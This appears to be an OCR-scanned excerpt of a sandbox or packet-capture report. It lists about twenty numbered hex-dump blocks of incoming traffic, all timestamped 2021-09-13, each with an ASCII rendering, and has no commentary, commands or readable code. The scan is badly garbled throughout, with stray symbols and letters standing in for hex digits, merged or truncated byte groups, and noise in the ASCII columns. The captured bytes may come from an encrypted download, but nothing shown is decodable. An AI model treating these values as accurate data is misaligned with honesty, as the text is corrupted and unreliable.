b9 10 35 3b 3b 69 f9 98 76 ab 4b c7 b2 c8 0d de cb b1 42 25 87 64 76 13 7f 1e 24 73 a0 9a 35 c1 d5 5f a2 ed 7a bd 00 e3
¢l f7 e8 ec d8 96 c3 ab ce d5 99 2f 7b 98 08 2f 58 65 e2 36 3d 1f 2c 7 a7 97 17 4e 68 Oa 2e 49 3d 0a 5c ab f0 4c f4 f2 32
bd 18 59 35 3e 9e 1d 95 0d 27 05 9 8b 7a f1 Oe 46 b3 a5 03 b1 eb 39 07 2b e6 al b2 77 de 98 68 07 {7 44 56 89 e4 ec 91
92 cf 82 15 14 b7 53 27 50 71 fd 5e 69 d9 1d 7c 6b 13
Data Ascii: qIC* ep$!F:8@u@3IM%2)[7s~0*3},_B2]9?fxkB_rM5;;ivkB%dv$s5_z/{/Xe6=,Nh.I=\L2Y5>'zF9+whDVS'Pgilk

2021-09-13 23:07:18 UTC 472 IN Data Raw: 3e 6f 45 ea ab ¢7 96 62 79 07 e4 0a b3 ¢3 31 cb 32 bc b0 d9 0f 14 12 94 cd 61 b9 50 15 c8 eb 38 16 79 47 5a
91 ca bl e3 06 7a 6¢ a6 e0 d5 02 48 e6 e5 09 el 28 d8 30 52 81 df c0 89 99 9c 96 al cf 7b 10 52 8e 4c 64 fa 28 0f e7 47
27 43 a0 b8 4e 41 a6 7b f2 51 5¢ bf al d9 37 e3 af 06 2f 80 9f €0 97 d1 d8 b6 4b 33 f8 b0 da 43 08 8e 5f 8e 83 70 be 4c c3
73 ed 63 7f d9 96 89 b3 28 0a 2c 82 21 ¢4 34 26 c4 dc 73 d6 a9 fc 14 51 e3 17 e2 7d 2b 75 43 dc 73 ea 05 67 d6 4c 9b 44
8d 1a 56 72 8e ed d2 c6 69 f2 31 4e af 23 f9 5d 18 9e eb c9 7e df ac €5 d5 95 5f b5 d2 d9 a6 88 31 53 1f 59 39 Ob cb 5a c1
ae fd f2 d6 ba b2 92 7b 8e b8 e7 4e 92 €9 7c 52 e3 6b 54 bd bf ad ae a9 3e 65 19 f1 af a5 df 1a 35 19 ea 50 55 a5 d4 fb 7d
10 dc 8a ba ae 35 63 8f a8 dc fe 73 c6 71 67 7
Data Ascii: >0Eby12aP8yGZzIH(OR{RLd(G'CNA{Q\7/K3C_pLsc(,!4&sQ}+uCsgLDVrilN#]~_1SY9Z{N|RkT>e5PU}5csqg

2021-09-13 23:07:18 UTC 473 IN Data Raw: 9 76 bd 1b 5¢ 57 b0 08 1a 87 64 5f cf 77 1f 6¢c c1 1b 34 3e 18 78 b2 e9 d2 7a bd d1 ff bb f6 a0 20 4b 18 60 87
84 fa d3 10 7b 98 70 b2 f3 63 aa d8 13 ca af 39 36 af 5d 71 68 0a 33 57 a0 Oc 14 67 71 ec 1b 44 b5 97 52 66 35 3e 14 83
6b 0b 6f 3d 46 79 ae ac 86 1a f9 9a 03 b1 c6 e6 28 2d ae 2a al 4d 83 e5 68 2c bd 7b 56 89 2a b3 90 94 87 9e 62 4b dd 4a
e5 07 3b c2 5e 69 b7 fd 2e 6d 5b af Ob b7 bf 42 75 fd 0d b7 89 60 d5 e4 5a 82 3d 50 cf 51 13 3b 93 46 9b 43 83 8b f5 2a
ab b8 20 3f 53 c9 e5 4f c4 51 a2 ¢5 1b d9 be f1 10 98 d8 17 48 41 7 20 b1 1f 28 90 4d 7 45 99 7e 23 Ob 3a 50 36 5b 34 f0
69 f5 e5 98 87 5f a4 21 df 5¢ 30 05 6¢ db 5¢ b7 47 29 6¢ 1f b2 cb 4e d7 d5 61 79 ca ca c5 11 64 3b d0 e3 3e 10 b2 20 b8
0a d6 87 d0 41 81 ae e8 9a c2 ce cl dc 94 8a a8 a7
Data Ascii: \Wd_wl4>xz K'{pc96]qh3WggDRf5>ko=Fy(-*Mh,{V*bKJ;*i.m[Bu'Z=PQ;FC* ?SOQHA (ME~#:P6[4i_\O
\G)INayd;> A

2021-09-13 23:07:18 UTC 475 IN Data Raw: 10 82 21 68 05 ec d2 7a 8b 50 d3 5a a6 a2 2a 9e df 7d 2b 1d dO d4 c5 4d d3 02 cc 29 d2 13 e2 eb 6b 72 8e 0d
29 40 3c 55 74 55 ba 59 dO 2c ef 66 d6 c9 7e 4b 2e 20 d1 32 1b 74 76 de 69 f2 a2 ad 22 59 39 37 1b 59 65 0a 85 b8 8e 57
36 f6 1c 78 85 e7 4e 72 ff 3e 11 47 f2 a9 9a be 28 88 2f b7 58 19 f1 2f fc 5f f8 90 2a 38 08 02 82 64 b2 c4 2d dc 8a a2 31
8b e2 2a c6 c4 fd bb 6e 4e a5 05 8b f0 c9 cO db f8 a8 92 01 b2 ea 1e ea 11 ff da 46 a3 70 f5 a9 3e 97 47 24 e8 2c 1a 12
Oa 7a 06 a7 84 2d 10 c9 a0 ce 1a 9d 1a a4 b4 8e 12 5b 2c b4 d4 24 06 54 df Of 19 b0 88 69 d0 8d 25 3b cb f1 0f 98 fb c5
e5 ca 28 7d f5 6f a2 9b 90 a5 e3 78 82 b6 e3 d8 c6 b8 1e 7c 48 da f1 27 c9 7d 1d a5 bb f1 df ae 11 5f ad 0d 2b 52 77 93 21
dd 21 e2 65 70 60 60 61 f3 7c 35 2e 3c 77 61 Oc 88
Data Ascii: thzPZ*}+M)kr)@<UtUY,f~K. 2tvi"Y97YeW6XNr>G(/X/_*8d-1*nNFp>G$,z-[,$Ti%;(Jox|H}_+Rw!lepa|5.<wa
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 476 IN Data Raw: 14 68 Ob 87 34 a8 43 el 6e 64 5e 90 f3 a6 41 af d4 c3 f4 f4 0f 8¢ 55 67 01 69 b5 5e 87 74 e0 95 7d 96 a2 24 Of
c8 e6 2c 12 18 e6 40 4d cf 6b b5 54 24 03 21 84 40 70 19 32 bc d0 81 2b 82 d5 0e 57 79 06 d1 85 76 76 92 0a 83 57 25 f1
51 fb f2 0d 42 fb ff dO ad 1c c5 16 23 82 e4 38 99 2d 8 72 b5 82 f4 95 94 49 cf 62 71 63 da 7b 95 92 24 3 f4 10 42 17 26
e4 6b a5 e9 74 ea d2 00 f2 89 21 02 55 35 e3 3d 3b 58 78 44 9a 7a 2d 20 61 5e a4 8e dc 9d 89 7d 04 27 74 91 4d cd 08
d5 07 f2 da 01 f7 77 54 72 36 5e 25 a4 e8 c2 1f d6 53 47 c9 f0 e5 99 88 94 d3 61 66 a9 7d 16 f5 34 14 a2 54 52 79 8b c7 af
5b 96 6e 91 ec fa 2b 1c 9d 54 50 62 b3 09 88 07 09 73 1b b2 3b d3 13 bb bf 01 f9 f1 b9 ff 06 03 ce 4e bf 96 37 79 37 41 00
0d 8e 39 c1 51 48 4c 27 06 d7 ce 31 a8 79 88 {3
Data Ascii: h4Cnd"AUgi"t}$, @ MKT$!@p2+WywW%QB#8-rIbqc{$B&kt!U5=;XxDz- a"}'tMwTr6"%SGaf}4TRy[n+TPbs;N
7y7TA9QHL'ly

2021-09-13 23:07:18 UTC 477 IN Data Raw: fb 8b bf c9 26 22 88 59 79 7 5b 62 10 fa 1b c¢3 Ob 29 c4 41 f1 53 41 67 f9 8¢ Oc c5 91 1b f0 56 bb a7 84 2d 60
3c 2f 1e a4 e3 c6 1la el d7 c2 59 a2 b0 d4 24 1e a2 a0 el 94 60 4b b8 1b 17 92 7c 76 f1 0f 98 eb 32 1a 26 96 ff 70 f4 5d
eb 28 92 al 7f 82 b6 1b 2f b9 53 a0 11 95 e2 el dc f8 41 a0 a5 bb f1 0f 56 ee 36 13 2a 89 d8 d1 75 4c 93 63 1d 9a 8f 3f 66
11 1b 3d 53 37 27 14 6e d9 c4 93 46 ba 1a 5a ed 34 da ed dd e8 80 af 2e 59 f9 c5 b8 24 f1 93 a3 fb 30 08 dd e0 24 05 d8
51 26 37 73 17 a0 58 94 14 44 Oe b4 30 7e 88 6f a3 95 4a 05 73 3c 5d b9 c2 5f 1a 1e e9 ad 37 ¢3 1b 3d 1a 19 13 a6 ec af
1b f3 2d 66 87 94 e7 62 57 b2 f2 6f 7a f2 1f fa 3d fb 3b 69 f9 18 2e be bc f8 b2 ¢8 0d 1e 9c a4 45 25 87 64 76 13 28 Ob 23
73 a0 9a 35 41 83 4a 55 d2 7a bd 00 23 94 e2 1f
Data Ascii: &"Yy[b)ASAgV-</Y$ K|v2&p](/SAV6*uLc?f=S7'nFZ4.Y $0$Q&7sXD0~0Js<]_7=-fbWoz=;i.E%dv(#s5AJUz#

2021-09-13 23:07:18 UTC 479 IN Data Raw: 69 83 9d 6b 1a 97 al 9f 64 cd c1 42 a0 19 7f ab 98 5¢ 37 6e d6 16 fd bb 1b 25 d4 a3 72 6d ac cd df 6f 4a 9f 68
a8529d 62 4aal 7139 alcd 99 01 5¢c 8 20 71 aa f4 d2 5d ae 83 a6 c2 4f 01 de 22 01 bb 47 65 d4 33 fd aa 57 f6 3d fO
c6 ca 54 59 cf Oa fc Ob 58 dd a7 cf 6 78 51 70 29 4c¢ 76 66 dc 57 €6 b0 28 9f 60 f2 9f 55 fb 4d b1 d9 c9 32 bc b0 5¢ 24 b4
df 94 ba f2 ec 64 2a 10 31 3a 16 79 47 a6 bd 5b 7c €3 42 95 df a9 02 ¢3 97 4a e6 e5 09 da f6 20 fd 52 a5 Oe a2 48 fb 1c
5e a3 cf 7b 10 ec 41 bc a9 fa 4f 26 cf 1c 9b 04 44 ba 4e 41 a6 33 03 9e 91 bf 0d e7 50 b5 f6 40 eb 82 9f e0 97 06 4a 38 8a
33 eb ff 04 01 45 2b c9 8¢ 83 70 be 66 77 ae 2c 63 1d 89 07 8d a2 d3 50 2f 82 21 c4 f1 43 27 1d 73 57 a7 51 71 d6 ce fb
€0 7d 2b 75 25 cb 9a 2b 05 1b 8d 37 19 da f2 8e
Data Ascii: ikdB\7n%rmoJhRbJg9\ q]O"Ge3W=TYXxQp)LviW( UM2\$d*1:yG[|BJ RHAO&DNA3P@J83E+pfw,cP/!C'sW
QQqi+u%+7

2021-09-13 23:07:18 UTC 480 IN Data Raw: a6 f2 35 df 20 60 4b 8e 8c 81 bf 81 f4 8f 9d e7 b2 d5 40 db 67 03 2f 2b 10 79 56 7a el c0 42 b1 02 55 1a 63 00
d4 Oe 9f 3b Oe b4 30 c4 57 b2 5c ¢8 66 5d ce 6¢ 4e fd 11 4a 42 ad fb de 73 2c 04 3b 1a 19 13 fa ec af 1b bc a2 fc Oa Oa 18
9d a8 0c 0d d5 85 5e €0 05 c2 47 3b 01 f9 79 2e d7 bc 96 b2 al 0d 70 9c ¢3 b5 57 87 Ob 76 77 28 6e d3 Ob a0 d9 35 Oc 83
4a55 91 7a d5 00 42 94 8b 1f bd d8 ff c3 ¢5 9b a7 6e 5d 7b 7 08 Ob Oc 15 15 09 3d 1f 2c 38 f4 82 €0 54 3b 0a 2e c6 6f 6f
ab f1 fO 3e f4 93 60 a8 ef 33 35 7d 9e 1f c4 6a d0 55 f9 fc 7a 42 5e 36 44 e8 03 b1 eb 0a 57 08 11 ae b2 35 de aa 27 7d 00
Oc 56 fa e4 09 df f5 38 bd 15 14 b7 9a 6a 45 86 f3 5e 69 d9 74 5f 08 85 66 f2 55 b7 1a 44 af d9 d9 ee 40 a9 6a c6 f9 f6 14
4a 69 6d 31 a9 38 52 2c f1 ab 29 a4 7b 8a
Data Ascii: 5 "K@g/+yVzBUc;0W\f]INJBs,;"G;y.pWvw(n5JUzBn]{=,8T;.00>"35}jUzB"6 DW5}V8jE"it_fUD@jJim18R,){

2021-09-13 23:07:18 UTC 481 IN Data Raw: 6f ff 10 04 5a 64 64 93 9a ca f2 72 79 4a 4b 97 06 cb el 4d 3f 1b cb 14 32 e9 04 08 81 67 91 59 a0 be 7e 40 46
€0 3e 54 d5 5f 2d 71 9a 7b 17 57 a0 fb 29 f1 80 46 ee 6b 89 d9 81 €9 2a b2 9f fc b3 66 3e c9 9e 23 5f 7a 2e 73 2f b4 b5 6d
al d7 a4 be c3 e7 e7 fa 47 db 67 41 34 b0 20 9e 6a 49 30 01 99 29 47 a0 9b 5e 40 b5 11 52 eb 24 d6 57 e6 3a fe 9f 8a 9c
el 6e 2f 3d 56 33 9a 2c 7b 25 79 79 ed Oe 58 c4 ad 7f 30 da 67 37 b7 de cb al dd 06 70 3b 45 20 2c 1f 47 5c 8f 05 f5 eb
bf 6d 66 ca 36 fb 3e c5 99 33 aa cc ac c9 f7 25 5¢c ac d8 b0 2¢ 65 ¢3 26 87 79 25 e2 db d0 16 67 02 64 2e 02 25 51 e4 cb
d9 a7 7c 35 63 96 8f 44 48 1e 42 03 33 43 31 9b ad 1a d4 9e 32 53 bc de 02 d8 63 53 1f be 5¢ 54 88 8d 33 cd ba Oc a8 €9
1c 28 b7 c4 cb 10 34 16 db 5f 51 0a 70 ae 50 c6 e4
Data Ascii: 0ZddryJKM?2gY~@F>T_-q{W)Fk*f>#_z.s/mGgA4 jl0)G"@R$W:n/=V3,{%yyX0g7p;E ,G\mf6>3%)\,e&y%qgd.
%Q|5cDHB3C12ScS\T3(4_QpP

2021-09-13 23:07:18 UTC 482 IN Data Raw: 1f da d8 96 17 ab 9b c0 3c 17 7b 98 1b 6f Oc 70 15 01 3d 1f 46 67 f4 82 €0 79 68 Oa 04 89 6f 1f ab 9d fO 4c 40
f2 60 a8 ef 6e 35 3e 94 5d c4 18 d0 32 f9 8b fO 31 5e 53 44 92 03 b1 al 39 57 3e 11 97 b2 77 2a d8 27 12 50 7c 56 89 el
6¢ df 87 38 b5 15 14 el 93 6a 45 86 ca 5e 69 cf 1d 31 7e 24 02 9b 31 97 69 30 dd e3 b0 89 60 ea 05 b5 90 82 75 25 07 1b
47 cc 5b 26 4b 83 8b 6b cb 14 aa 9f dd 4e 8b 54 8b 9b 10 4e c2 1b d9 fO 13 9f 8a 67 54 69 9d 39 ac e8 25 95 98 4d 7 bf
7b 21 31 b4 27 5f 03 20 c5 e2 2e 48 ed 98 87 2d 47 Oe cd e3 d9 46 96 d3 db 93 79 94 64 1f b2 55 ad d8 c7 de 80 33 €9 c7
ee c9 73 3d e4 3e 10 d6 c4 67 1b 69 19 fd ad d5 4e 69 d7 7f c6 c1 dc 8b 6f 07 b6 8d 98 48 34 53 86 a2 64 d1 84 0d ae 5¢
ad 94 61 43 9b 46 c6 16 €8 86 1b 5d cd 05 10 31 7e f2
Data Ascii: <{op=FgyhoL @ n5>]21"SDOW>w*P|VI§ENi1~$1i0"u%G[&KKNTNgTI9%M{!1'_ .H-GFydU3s=>giNioH4Sd\
aCF]1~

2021-09-13 23:07:18 UTC 484 IN Data Raw: 56 63 72 8e c2 dc ff c9 eb 07 b0 0a 84 1 84 a1 db de c9 7e d0 d8 df 25 8c 68 f2 8f 80 44 75 b8 10 2a 59 39 44
ec 66 91 b4 cb 3e ad 29 09 7 5a a5 82 e7 4e 92 09 41 2 f9 5¢ d4 b7 99 f1 61 69 0a 50 19 1 bf 04 €0 0a 7a 2e 4f b9 15
43 0e 95 2b 2a dc 8a a5 c8 74 13 94 9f 20 85 34 69 50 b2 b8 83 f0 ¢9 58 22 c7 59 2¢ fe 0Of 62 f5 fa 1b c3 37 41 a3 70 cb 53
41 6719 84 Oc c5 f1 1b f0 56 bb af 84 2d 40 3c df 21 a4 ea c6 1a 40 d7 32 66 91 bc d4 24 1e a2 a0 el a7 6¢ 4b b8 9b 17
92 7¢ 76 19 0f 98 ab 32 1a 26 96 6 70 f4 bc eb 28 92 Oe 7f 82 b6 1d 2f b9 53 a0 19 95 e2 b9 dc f8 41 a0 ad bb 1 17 56 ee
b6 13 23 89 d8 40 75 4c 93 cf e5 65 70 fb 99 1e 1b c2 a4 c8 d8 93 91 d6 c4 93 4e ba 1a 62 2d ef €5 ed d4 e8 80 7e ee 82
6 84 47 db Oe 7d 5c 74 72 18 2d 1f db 92 27 de
Data Ascii: Vcr~%hDu*Y9Df>)ZNA\aiPz.OC+#t 4iPX"Y,b7ApSAgV-@<!@2f$IK|v2&p(/SAVA@uLepNb-~Gtr-'

2021-09-13 23:07:18 UTC 485 IN Data Raw: aa 97 d4 4e 02 98 8b 9b 10 17 ¢5 1b 90 ff 13 9f 8a 6e 5¢ 69 6e 5f ac e8 75 92 90 4d f3 99 7b 21 31 bc 2e 5f 56
8c c5 e2 2e 40 e5 98 92 2b 47 Oe 9d eb d1 46 94 54 db 93 2a 93 6¢ 1f 99 13 ad d8 c7 d6 89 33 9c 2b ee c9 73 65 e3 3e 25
df c4 67 1b 60 11 fd 66 8b 4e 69 86 78 ce c1 d1 95 6f 07 b6 85 91 48 51 cf 86 a2 64 8d 83 0d 8b 3f ad 94 61 4a 93 46 6d
68 e8 86 1b 55 ¢5 05 15 0f 7e 2 cd 7e 46 b1 {7 18 40 a0 62 9a e2 b1 0d 39 1f a6 78 62 76 8¢ f3 93 df ef Od 29 88 d0 Ob 9a
d3 el 9d 01 b4 f9 e6 3e 09 cO aa 6f 4d 9a 5e ca 19 6b 6b 1e bc €5 09 ca e5 9a 9b 99 e7 01 30 6d 9f 49 3e 67 45 f9 fc c7
80 5d f2 97 55 fb 70 71 02 f6 32 b5 b0 5c¢ ff 74 04 ab e8 5 ec 64 3d 41 ea 05 16 71 47 a6 d0 Oa a7 dc 42 9d df a9 df 2b 4d
75 e6 ec 09 da bd c8 27 6d a5 06 a2 48 16 9c 84
Data Ascii: Nn\in_uM{!1._V.@+GFT*I3+se>%g fNixoHQd?aJFmhU~~F@b9xbv)>0oM"kkOmI>gE]Upg2\td=AqGB+Mu'mH

2021-09-13 23:07:18 UTC 486 IN Data Raw: 01 be a7 84 ac 61 3c df 72 al e3 c6 03 el d7 32 3d 94 b4 d4 25 06 a2 a0 b0 a2 64 4b bf 1b 17 92 25 73 f1 0f 99
ed 32 1a 73 93 ff 70 95 5d eb 28 cf 5b 78 82 b7 7b 2f b9 03 a5 11 95 e6 el dc f8 19 a5 a5 bb f0 Oc 56 ee e2 16 2a 89 e9
d1 75 4c cf 99 e2 65 71 f0 99 1e 49 c7 ac c8 d5 eb 91 d6 9e 96 46 ba 1b 56 2d ef b3 e8 dd e8 41 af ee 82 06 d0 40 db Of
Oc 5¢ 74 72 18 25 1f da fa 27 de 67 37 73 17 27 a7 6b eb 34 Oe b4 30 el 77 90 5¢ d5 4a 7d ec 13 4e fd 11 9f 42 ad fb 4d
07 2c 04 ff 19 19 13 59 eb af 1b Oc dd 99 78 94 07 9d a8 b2 32 90 85 f2 9f 05 c2 fb c4 69 f9 43 ad f9 bc f9 b2 ¢8 0d 1c 9¢
a4 b5 19 87 64 76 17 28 0b d3 49 a0 9a 35 46 83 4a 55 db 7a bd 00 2e 94 e2 1f c2 d8 96 c3 b2 9b c0 6e 31 7b 98 08 5e
Oc 70 15 48 3d 1f 2c 06 f4 82 e0 fO 68 Oa 2e 48 6f 1f
Data Ascii: a<r2=%dK%s2sp]([x{/V*uLeqIFV-A@\tr%'g7s'k40Ww\J}NBM, Y x2iCdv(I5FJUz.n1{"pH=,h.Ho

2021-09-13 23:07:18 UTC 487 IN Data Raw: 3f db c8 c7 ea 54 al b6 41 15 22 8d c6 0f 8e 07 40 22 63 fe fc 72 9¢ 20 25 66 28 ee 8¢ 08 9b c2 1e 03 6¢ 3b 90
15 5c¢ f1 13 55 Oc 2c df 8¢ a6 0f 13 89 1d 1c Ob 40 c7 32 ce 4c 9a a9 c3 d0 6e a6 28 18 08 e2 Oe 97 a7 50 10 b5 {6 1c 20
3a 1f 3c bc 58 6d 1e 80 7e a2 dd cd bl 2d ac 94 11 99 dd 56 b8 c5 ee 63 23 b1 79 a3 8d 27 98 40 0d 9e 7d 69 14 58 b4
50 c4 72 ed 5d 36 bd f1 ee b8 28 a0 99 f9 ab aa 7f a7 eb be ec 18 f8 9b a3 3c c2 bd ab 34 27 15 8b 89 e0 8f 82 16 8f 0d 21
7d 91 18 8a 21 eb 23 a7 64 8a 90 17 34 fa 5e 8c 2a 74 3d b3 83 70 be 66 7 f3 f5 5¢ 1d 89 07 8d f2 d0 89 10 82 21 c4 f1
13 24 c4 4c 57 a7 51 71 f6 67 23 df 7d 2b 75 25 eb 33 f3 3a 1b 8d 37 19 3a a7 56 6b 72 8e ed dc ff c9 eb Oe b0 Oa 3a 1f
84 al db d4 c9 7e df db df 25 8c 67 f2 8f Of 44 75 b8
Data Ascii: ?TA"@"cr %f(;\U, @2Ln(P :<Xm~-Vc#y' @}iXPr]6(<4'1}#d4 *t=pAISLWQqg#}+u%3:7:Vkr:~%gDu
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 489 IN Data Raw: fe 08 52 1d 70 54 cf 18 eb 3b Oe b4 45 90 1c fe 33 9d 24 5d 8f 03 23 8d 63 05 31 de 92 dd 68 Oc 69 65 6e 71
7cc2 ecaf 72 9d a4 f8 14 02 7c bd df 24 63 f4 ea 7a c0 76 ab 7e 5e 69 90 76 4d d1 ce 8a d7 ab 79 3e f4 c1 d4 7e e2 16
56 70 40 6e b0 27 a0 9a 5c 2f e0 25 27 a0 1f de 74 03 fO 83 6b b2 f8 f5 ab ce f8 ab 6e 10 7b 98 54 41 22 2c 15 09 3d 1f 70
49 da ad e0 71 68 Oa 01 a7 41 30 ab 94 f0 4c db dc 4e f4 ef 66 35 3e cb 09 c4 18 f5 49 dc f8 7a 31 5e 53 61 €9 26 c2 ce
4a 57 3e 57 f7 c0 12 b8 b7 5f 12 5¢ 36 39 f3 8d 00 b3 e6 64 fb 7c 66 d2 f5 05 3d da c2 5e 69 8a 52 77 2a b3 4b c9 74 cb
24 5fa7 d9 db e5 01 85 48 da ea eb 11 49 66 4d 01 a5 29 43 25 ec f3 5d cb 14 aa d3 d4 21 8b ff 8b f2 10 71 c5 3b d9 bb
13 fe 8a 13 5¢ 08 9d 5f ac €8 25 d6 90 22 7 f6 7b 4a
Data Ascii: RpT;E3$]#c1hieng|r|$czv~"ivMy>~Vp@n'V%'tkn{TA",=pIghAOLNf5>1z1"Sa&JW>W_\69d|f="iIRw*Kt$_
HIfM)C%]!q;\_%"{J

2021-09-13 23:07:18 UTC 490 IN Data Raw: e1 9c bd 7b 71 ec cd 3c 2c c¢5 3b 26 aa 1c 23 1b ea 85 15 41 96 33 9e 81 4b 80 0d e7 39 db 20 9f 5e d4 fb c0 fg
7387 e4 36 7e d0 df 61 79 b5 13 73 ¢7 €6 14 9e 02 9e 94 9c 28 3d €8 61 f9 97 a2 a9 37 af 06 c4 f1 13 24 ad 22 21 c6 3d
18 92 47 4d aa 10 49 10 57 dO 13 96 42 6b €8 54 6d 5f ¢3 76 0f 1b €9 84 a8 df a8 8d 7a d5 78 1a 38 aa 86 db d6 c9 7e b6
b6 a9 44 e0 09 96 af 61 31 18 da 75 50 62 19 6e 94 16 f4 d7 b6 5b c9 {7 2e cc 7d e9 a5 c0 63 b5 24 61 8d 8b 74 b0 de ae
98 15 49 6b 3e 6d 94 dd 24 85 72 5e 49 21 dc e8 37 Oe 95 10 43 aa eb d6 al 10 33 fa e2 4d e7 21 1b 6b 92 dd f3 80 ac Ob
56 a2 3d Oc 93 66 05 5d 8e 3b a2 01 32 c6 02 el 36 39 17 96 €2 69 ab e5 3b 83 3f dc c9 84 2d 60 3c df 21 c1 e3 a8 1a 85
d7 42 66 e5 b4 a6 24 3e a2 9d el 9a 64 6b b8 6f 17 fd
Data Ascii: {g<,;&#A3K9 "s6~ays(=a7$"'=GMIWBkTm_vzx8~DaluPbn[.}c$atlk>m$r !7C3M!kV=f];269i;?- <!Bf$>dko

2021-09-13 23:07:18 UTC 491 IN Data Raw: 74 ab ba fO 2e f4 93 60 cb ef 0d 35 16 9e 74 c4 35 d0 04 f9 e2 7a 42 5e Oc 44 fb 03 c3 eb 4b 57 5f 11 e7 b2 5f
de f1 27 32 00 14 56 fb e4 4c df f5 38 d8 15 72 b7 cc 6a 36 86 b6 5e 08 d9 7e 31 15 e4 24 9b 53 97 08 30 be b0 dc 89 48
d9 2c b5 bd 82 43 25 6e 6d 34 cc 04 26 2c 83 €9 5d al 14 cf 9f b7 4e ff 98 a3 9b 39 1f ¢5 1b b6 ff 71 9f €0 67 39 69 fe 5f
d8 e8 7a 95 f5 4d 9b 99 le 21 5¢ b4 4b 5f 6d 8¢ bl e2 2e 48 e5 98 €9 2b 28 Oe b9 e3 f1 46 fd 55 be 93 00 94 33 1f d9 13
c8 d8 a2 de f9 33 b6 2b 9d c9 07 6d 82 3e 73 df af 67 35 69 74 fd cO 8b 3e 69 a3 7f b7 c1 f4 95 46 07 b6 8d 91 48 70 cf d6
a2 2585 d3 0d e7 3f 97 94 41 43 93 46 8b 68 81 86 78 5d b7 05 7f Of 0d f2 a2 76 20 b1 06 18 1f a0 35 92 8b b1 26 39 56
a6 16 6b 13 8c 6¢ 93 80 ef 5d 2e 88 d0 65 9a a7
Data Ascii: t."5t5zB"DKW__'2VL8rj6"~1$S0H,C%nm4&,]N9qg9i_zM\K_m.H+(FU33+m>sg5it>iFHp%?ACFhx]v 5&9VKkI].e

2021-09-13 23:07:18 UTC 493 IN Data Raw: 98 30 02 79 19 2b cc 46 b1 94 e2 le 8d f7 29 c7 7a e5 a5 c7 6e b2 28 61 c2 d9 74 f4 97 e9 d1 41 49 2a 78 39
d1 8f 24 c0 2a Oe 06 6f 99 a6 63 2e b5 59 0d fc aa 9a €8 54 33 b4 b7 00 a5 64 49 70 92 98 ab dO €9 48 02 e7 79 Oc d7 2f
42 14 da 3b €3 47 66 83 50 el 73 61 47 d9 ac 2c e5 b1 3b d0 76 9b 87 a4 0d 40 1c ff 01 84 c3 e6 3a cl f7 12 46 b1 94 f4
04 3e 82 80 c1 87 44 6b 98 3b 37 b2 5¢ 56 d1 2f b8 cb 12 3a 06 b6 df 50 d4 7d cb 08 b2 7e 58 a2 96 3b 0f 99 73 80 31 b5
c2 clfcd8 61 80 85 9b d1 2f 76 ce 96 33 0a a9 f8 f1 55 6¢ b3 bc c2 45 50 e0 b9 3e 3b e2 8¢ e8 f8 cb bl f6 e4 b3 66 9a 3a
7a 0d cf c5 cd fd c8 a0 8f ce a2 e6 f5 60 fb 2e 4c 7c 54 52 38 05 3f fb da 07 fe 44 17 53 37 00 87 4b cb 1b 2e 94 10 de 57
b0 7c ca 6a 5d cc 4c 6e dd 31 40 62 8d db 92 26 Oc
Data Ascii: Oy+F)zn(atAl*x9%$*oc.YT3dIpHy/B;GfPsaG,;v@:F>Dk;7\V/:P}~X;s1a/V3UIEP>;f:z".L|TR8?DS7K.W|jjLh1@b&

2021-09-13 23:07:18 UTC 494 IN Data Raw: 52 31 c3 2e 30 03 fe c5 86 2e 48 5 d1 87 66 47 4f cd b3 d1 66 96 05 db f2 79 e7 6¢ 6¢ b2 64 ad b7 c7 ac 89 57
€9 2b ee 87 73 23 e3 6a 10 8f c4 47 1b 39 11 9c ad f8 4e 1a d7 08 ce ae dc e7 6f 63 b6 8d 91 00 34 9b 86 f6 64 d5 83 2d
ae 6f ad f5 61 30 93 35 c6 1f €8 €9 1b 2f c5 61 10 Of 7e al cd 3b 46 €5 72 48 40 80 62 c2 e2 dO 48 4a 1f d5 78 1c 76 e3 1€
el df 8b 5d 2e 88 80 03 d5 d3 b1 9d 3a b4 d9 bb 6e 09 af aa 15 4d ee 43 ca 19 38 6b 5a bc b1 92 9a e5 ba cf ce e7 6e 63
1f 9f 3d 3e 6f 45 b0 81 8a 80 1c f2 cf 55 db 4d 21 02 99 32 ce b0 28 24 74 04 8e de 8 ec 38 2a 41 ea 6¢ 16 1d 47 c3 bd 64
a7 a8 42 fc df cf f2 42 4d 16 e6 84 09 ae 06 al 27 02 a5 60 a2 48 1b 9c 84 5 cf 1f 10 89 al 52 73 bl 4f 4f cf 68 5b 62 9e
e8 4e 26 a6 41 c3 81 4b e9 0d 89 50 d0 56 8a
Data Ascii: R1.0.HfGOfylldW+s#{G9Noc4d-0a05/a~;FrH@bHJIxv].:nMC8kZnc=>0EUM!2($t8*AIGdBBM"HRsSOOh[bN&A
KPV

2021-09-13 23:07:18 UTC 495 IN Data Raw: el 7c 2a f1 40 98 9e 32 6e 26 fa ff 1f {4 32 eb 43 92 5e 78 82 b6 1b 2f ea 53 cf 11 f3 e2 95 dc 8f 41 c1 a5 c9 f1
6a 56 b2 b6 5e 2a e0 d8 b2 75 3e 93 f3 e2 16 70 af 99 78 1b b6 ac 94 d8 a4 91 b0 c4 f5 46 d3 1a 39 2d 8a e5 bl dd d9 80
96 ee ac c6 e5 40 87 Oe 23 5¢c 01 72 6¢ 25 73 db 95 27 b1 64 5¢ 73 4b 20 f7 6b 99 3b 61 b4 56 fe 1e 90 30 ea 2f 7d 9f 6¢
12 fd 5e 60 37 ad 8f b2 6a 2c 6b 00 75 19 78 a6 ec af 48 f3 bd 99 1e 6b 6¢ 9d df 4d 6c 90 7 0d 85 05 9e 04 76 69 90 18 4d
be ce f8 dd c8 7e 1e f3 a4 d3 1a f3 64 2a 13 67 Ob b5 4c c6 9a 5¢c 41 e0 4a 30 d2 26 bd 31 23 ac e2 31 d3 e8 96 9f ab d4
€0 1b 10 0f 98 64 6f 63 70 7a 09 56 1f 70 67 a4 82 92 71 07 Oa 48 89 06 1f c7 94 95 4c 87 f2 3c a8 a0 66 40 3e ea 5d a8
18 bf 32 96 8b 11 31 5e 53 17 9a 6¢ bl 8d 39 23
Data Ascii: [*@2n&2C x/SAVA*u>pxF9-@#\rl%s'd\sK k;aVO/}IA 7j,kuxHKIMIVIM~d*gL\AJ0&1#1docpzVpgqHL<f@>]:1°SI9#

2021-09-13 23:07:18 UTC 496 IN Data Raw: ba 8f eb 68 d8 90 df 1e 65 a5 c4 00 39 f2 43 ca 76 le 1f 67 c9 91 b2 a8 90 fc a9 fb 95 21 17 02 f0 69 4d 02 24
